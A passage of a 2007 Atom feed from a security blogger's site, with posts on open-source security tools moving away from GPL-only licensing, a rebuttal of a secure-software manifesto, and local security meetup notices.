src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/s8lTeQMyfLA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/6247537631153553265/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=6247537631153553265" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6247537631153553265" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6247537631153553265" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/s8lTeQMyfLA/baysec-2.html" title="BaySec 2" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/06/baysec-2.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5229030441087509865</id><published>2007-06-06T00:47:00.000-07:00</published><updated>2007-06-06T15:33:26.628-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">Attention Jed Pickel</title><content type="html">It appears that I owe you a &lt;a href="http://archives.neohapsis.com/archives/sf/ids/2002-q3/0010.html"&gt;big apology&lt;/a&gt;. You were right, I was wrong.&lt;br /&gt;&lt;br /&gt;(It's amazing the stuff you find when googling yourself.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5229030441087509865?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/9IuATRjCKi4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5229030441087509865/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5229030441087509865" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5229030441087509865" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5229030441087509865" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/9IuATRjCKi4/attention-jed-pickel.html" title="Attention Jed Pickel" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/06/attention-jed-pickel.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-6271764955438650072</id><published>2007-06-04T21:23:00.000-07:00</published><updated>2007-06-07T22:12:44.770-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">Open Source Remorse</title><content type="html">So rather than continuing to carry on in the Matasano blog comments (&lt;a href="http://www.matasano.com/log/858/alan-shimel-should-stop-talking-about-snorts-licensing/"&gt;1&lt;/a&gt;, &lt;a href="http://www.matasano.com/log/874/stillsecure-rejects-terms-of-gpl/"&gt;2&lt;/a&gt;) and being mirrored in Alan's &lt;a href="http://www.stillsecureafteralltheseyears.com/ashimmy/2007/06/thomas_ptacek_s.html"&gt;blog&lt;/a&gt;, I figure I should gather my thoughts on this subject in my own long-winded blog entry.&lt;br /&gt;&lt;br /&gt;Now, my recent comments have been prompted &lt;span style="font-weight: bold; font-style: italic;"&gt;by&lt;/span&gt; Alan's and Tom's comments at each-other, but they aren't &lt;span style="font-weight: bold; font-style: italic;"&gt;about&lt;/span&gt; that per se. I gather the background there is that StillSecure has released Cobia &lt;strike&gt;which includes Snort (and other open-source bits?),&lt;/strike&gt; but the Cobia bits aren't GPL. I really don't know anything about whether there's any inappropriate linking or anything going on, I haven't looked at it. The StillSecure guys raise some legal doubts about the GPL, and Tom points to Marty's &lt;a href="http://securitysauce.blogspot.com/2007/05/snort-30-licensing.html"&gt;post&lt;/a&gt; about the "clarifications" in the Snort license.&lt;br /&gt;&lt;br /&gt;(Update: Alan tells me that Cobia does NOT include Snort. Leaving me wondering what Tom was was upset about in the first place. Shrug. Sorry about further muddying things with my incorrect claim, Alan.)&lt;br /&gt;&lt;br /&gt;The key point that Tom raises that I want to take issue with is this:&lt;br /&gt;&lt;blockquote&gt;Why do I care? Because companies like StillSecure are driving open-source projects “underground”, into proprietary licenses. Wow, that sucks.&lt;br /&gt;&lt;/blockquote&gt;Now, let's hang on a second there. It looks more to me like a basic desire to make money has caused the open-source security tools developers to start changing their licenses.&lt;br /&gt;&lt;br /&gt;They have open source remorse.&lt;br /&gt;&lt;br /&gt;It looks more to me like they are finding it difficult to get people to pay them when their stuff is licensed &lt;span style="font-weight: bold; font-style: italic;"&gt;only&lt;/span&gt; under a GPL license. Obviously, if the software is only available under the GPL, then anything else it goes into also needs to be GPL. (Modulo calling vs. linking vs. straight source modification, etc... I'm not here to try to hash that mess out.)&lt;br /&gt;&lt;br /&gt;I've watched this happen with BitTorrent, Nessus, nmap, and Snort.&lt;br /&gt;&lt;br /&gt;Is there anything wrong with making money with software? Certainly not. I've worked at Sybase, contracted at ArcSight, tried my own hand with Enforcer for AnchorIS, and am currently about 4 years in at BigFix. BigFix, by the way, has licensed nmap for commercial use, and Fyodor's licensing terms were very reasonable. All those companies I worked at are traditional, closed-source software vendors. So I fully stand behind profiting from software licensing.&lt;br /&gt;&lt;br /&gt;We are salesmen, and completely up-front about that.&lt;br /&gt;&lt;br /&gt;But I believe there is a different standard if you're going to go the open-source route. Maybe I'm too much of an idealist, but then, the GPL is kind of an idealist license.&lt;br /&gt;&lt;br /&gt;So here's the game: You create some very early, proof-of-concept open-source security tool. Maybe you're early to the market, or maybe you have some genuinely nifty feature, but you're a known concept, an IDS or a scanner.&lt;br /&gt;&lt;br /&gt;How do you gain popularity? Well frankly, being free can be a huge help. And if you're not doing it for a living anyway, it works for everyone. What do most open-source projects want? Help. For the packages I've mentioned, they got it&lt;br /&gt;&lt;br /&gt;Maybe it wasn't in the form of (much) code. But it was in the form of signatures, QA, people running mailing lists, people submitting fingerprints and banners for obscure software, filing bug reports and feature requests, help compiling on weird unixes, packet captures, books, articles, and other general evangelism. The license also allows every Linux distro in the world to ship your stuff, further cementing you as a de-facto standard.&lt;br /&gt;&lt;br /&gt;Those things are absolutely &lt;span style="font-style: italic; font-weight: bold;"&gt;massive&lt;/span&gt; contributions for a young project. I don't wish to discount the efforts of the key developers on each of those projects. The packages would most certainly have fallen into obscurity without their leadership. But even then, you don't maintain such a project for years without a positive feedback loop.&lt;br /&gt;&lt;br /&gt;But for the projects mentioned, the maintainers eventually decided they would like to make a living off the project.&lt;br /&gt;&lt;br /&gt;This is where I admit that I don't know what's in the hearts and minds of the people who are now selling commercial licenses for these projects. I can only judge based on their actions and published licenses.&lt;br /&gt;&lt;br /&gt;But it sure looks like they're taking the combination of their own work and the community support, and selling it for a profit.&lt;br /&gt;&lt;br /&gt;Why do I care? Because I believe that a lot of people, myself included, gave support because they thought they were helping out a project that was &lt;span style="font-weight: bold; font-style: italic;"&gt;only&lt;/span&gt; under a GPL license. Changing it after the fact strikes me as a kind of dishonesty. If you help out a commercial software company, great. You knew what you were helping. I know a lot of people who do free QA for Microsoft.&lt;br /&gt;&lt;br /&gt;But if you think you're contributing to a project because your help will always be available to the world, and you'll find it in your favorite latest Linux distro, sorry. Nessus is all the way there, no new Nessus for anyone who doesn't want to register, download and install it themselves, and so on. And no source. Snort and nmap can still be shipped around, but we'll see if it stays that way. No more free Snort sig feeds for you though, if I recall correctly.&lt;br /&gt;&lt;br /&gt;I should clarify a point. I keep talking like these projects aren't GPL anymore. That's because I don't think they are, at least not entirely. Nessus clearly isn't anymore. No question there. How about Snort and nmap which have commercial versions available for licensing?&lt;br /&gt;&lt;br /&gt;Marty asks in the Matasano blog comments next to me "Snort isn't GPL?"&lt;br /&gt;&lt;br /&gt;No.&lt;br /&gt;&lt;br /&gt;So you can take Snort and code on it or mix it with other code, and your users can demand the source from you under the GPL terms. That seems pretty GPL, right? So what if your code is in Snort, and SourceFire sells a license to a commercial software vendor. Can you make that vendor give you a copy of their source?&lt;br /&gt;&lt;br /&gt;Nope.&lt;br /&gt;&lt;br /&gt;Anyone remember the point of the GPL? It's so that no one can take your code away from you.&lt;br /&gt;&lt;br /&gt;So you might be wondering, how can they take your GPL code and sell it under another license? Am I accusing these projects of stealing code? No, not really. I assume that they have acquired the rights to all the bits of code or have purged the stuff they can't track down.&lt;br /&gt;&lt;br /&gt;Yes, this does mean they had to have planned this for a while. They had to stop taking contributions from all the outsiders or people who will only submit GPL code. I believe these guys are smart enough to get this right, though I wouldn't mind seeing how they went about auditing the codebase.&lt;br /&gt;&lt;br /&gt;Does this mean they can never take outside code again? Well, it means the submitter has to be willing to give them a license to do whatever they want with it, including selling it non-GPL'd. This would include, say, people working on it for the Google Summer of Code.&lt;br /&gt;&lt;br /&gt;SourceFire has that part tied up rather neatly, too. If you read Marty's "clarifications", you'll see that if you get your code near any SourceFire people, then you automagically grant them the right to sell it as closed-source.&lt;br /&gt;&lt;br /&gt;So no, not GPL.&lt;br /&gt;&lt;br /&gt;Another interesting thing about the GPL, it only covers code and maybe some docs. If you made some other kind of contribution like the ones I mentioned earlier, not covered. They can just take it and sell it.&lt;br /&gt;&lt;br /&gt;So who is really killing GPL'd projects? If you think StillSecure is stealing without giving back, I'm not seeing how SourceFire isn't doing some of the same.&lt;br /&gt;&lt;br /&gt;I've met Fyodor and a bunch of the SourceFire guys a number of times. I don't have anything against them personally, and it's not like I don't wish them financial success. I just wish they had either had the license they really wanted in the first place, or didn't go changing it late in the game.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-6271764955438650072?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/EE6JV8GGomg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/6271764955438650072/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=6271764955438650072" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6271764955438650072" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/6271764955438650072" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/EE6JV8GGomg/open-source-remorse.html" title="Open Source Remorse" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/06/open-source-remorse.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-7568415226506169014</id><published>2007-06-02T14:32:00.000-07:00</published><updated>2007-06-02T15:30:49.397-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">That's your manifesto?</title><content type="html">Pete Lindstrom posts his &lt;a href="http://spiresecurity.typepad.com/spire_security_viewpoint/2007/05/secure_software.html"&gt;Secure Software Manifesto&lt;/a&gt;. Pete, you'll have to do better than that. I guess a  manifesto is not a thesis, it's not intended to be a self-contained set of assertions and evidence. But I feel it necessary to call out what look like some glaring factual errors and inconsistencies to me.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;1. Public vulnerability information (e.g. CVE, disclosure info, etc.) provides data about the activities of the hacker/bugfinder/security researcher community; it tells us nothing about the absolute or relative level of vulnerability of software.&lt;/blockquote&gt;On the contrary, I think the effort required to find bugs, and the rate and volume at which they are discovered are the best indicators of the relative level of security of a software package. I will agree that this doesn't tell us the absolute number of vulnerabilities left. There's always the chance that the researchers found the absolutely last bug in a package on the 31st while doing their Month of x Bugs.&lt;br /&gt;&lt;br /&gt;The past is not necessarily a predictor of the future, but the past may be a predictor of the more recent past. Or you might prefer correlator. I believe the data is all there for someone who wants to, say, take the bugs for packages from 2005 and see how they correlated with bugs in 2006. At least for known bugs.&lt;br /&gt;&lt;blockquote&gt;2. The defining aspect of a software program's vulnerable state is the number of vulnerabilities (known or unknown) that exist in the software. It is &lt;em&gt;not&lt;/em&gt; how hard programmers try not to program vulnerabilities nor how hard others try to find the vulnerabilities.&lt;br /&gt;&lt;/blockquote&gt;The first sentence is a fine definition. The second sentence seems to be trying to distance itself from the first, though. If you try hard to create fewer vulnerabilities (and have some talent and experience in that), don't you think you will create fewer vulnerabilities? And if you missed some, and other find them and you fix them, don't you mostly end up with fewer vulnerabilities?&lt;br /&gt;&lt;br /&gt;So no, using the definition of "vulnerable" to mean there is at least one vulnerability left, there's probably no amount of effort you can expend that is going to get that count to zero. But don't we want software packages that have fewer vulnerabilities, if you can't have zero?&lt;br /&gt;&lt;br /&gt;Because if there's no value to that, I know lots of people who could be doing something else with their time.&lt;br /&gt;&lt;blockquote&gt;3. The contribution of a patch to the vulnerable state of a software program is a tradeoff between the specific vulnerability (or set of vulnerabilities) it fixes and the potential new vulnerabilities it introduces.&lt;/blockquote&gt;Sure. Do you mean to imply that patches often introduce new problems? I'm kinda under the impression that's relatively uncommon, but I'd be willing to be proven wrong.&lt;br /&gt;&lt;blockquote&gt;4. There is currently no known measurement that determines or predicts the vulnerable state of a software program.&lt;br /&gt;&lt;/blockquote&gt;False. If you use the definition of "vulnerable" meaning that there is at least one vulnerability, then I have a program that will read any other program of some minimum complexity, and return the probability that it is vulnerable. The answer is usually 1. I'm very confident in my low false-positive rate.&lt;br /&gt;&lt;br /&gt;Facetiousness aside, I agree that there is no metric or program to find or event count all of the vulnerabilities in a program. Maybe not even most of them.&lt;br /&gt;&lt;br /&gt;But there are programs, services and consulting that will find "some". Is there value in finding "some"? Is it useful to know how hard it was to find "some"?&lt;br /&gt;&lt;blockquote&gt;5. We don't know how many "undercover" vulnerabilities are possessed and/or in use by the bad guys, therefore we must develop solutions that don't rely on known vulnerabilities for protection.&lt;br /&gt;&lt;/blockquote&gt;Once again, I agree with your opening statement, and am left wonder where you got that particular conclusion. Why not "therefore we must find and fix as many vulnerabilities as possible" or "therefore we must infiltrate the underground and gather intelligence"?&lt;br /&gt;&lt;blockquote&gt;6. The single best thing any developer can do today to assist in protecting a software program is to systematically, comprehensively describe how the software is intended to operate in machine (and preferably human) readable language.&lt;br /&gt;&lt;/blockquote&gt;As a QA guy, I'd have to say that would be really, really awesome. Yes, can I have that please? But if I had that, isn't that the same as programmers trying hard, ala your point 2?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-7568415226506169014?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/r4fErEtX7v8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/7568415226506169014/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=7568415226506169014" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/7568415226506169014" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/7568415226506169014" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/r4fErEtX7v8/thats-your-manifesto.html" title="That's your manifesto?" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/06/thats-your-manifesto.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5914978912211782896</id><published>2007-05-16T10:51:00.000-07:00</published><updated>2007-05-16T10:56:01.610-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">BaySec 1 Tonight!</title><content type="html">&lt;a href="http://www.sockpuppet.org/baysec/"&gt;BaySec&lt;/a&gt; is this evening. Hope to see you there!&lt;br /&gt;&lt;br /&gt;Also, there is now a &lt;a href="http://citysec.org/"&gt;CitySec&lt;/a&gt; site for organizing these things. I know it's unlikely that you're aware of or care about the city meetups are are not reading the &lt;a href="http://www.matasano.com/log/"&gt;Matasano blog&lt;/a&gt; and don't know this already. But for completness' sake, and search engines and so on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5914978912211782896?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/lGH-0Kksbl8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5914978912211782896/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5914978912211782896" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5914978912211782896" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5914978912211782896" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/lGH-0Kksbl8/baysec-1-tonight.html" title="BaySec 1 Tonight!" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2007/05/baysec-1-tonight.html</feedburner:origLink></entry></feed>
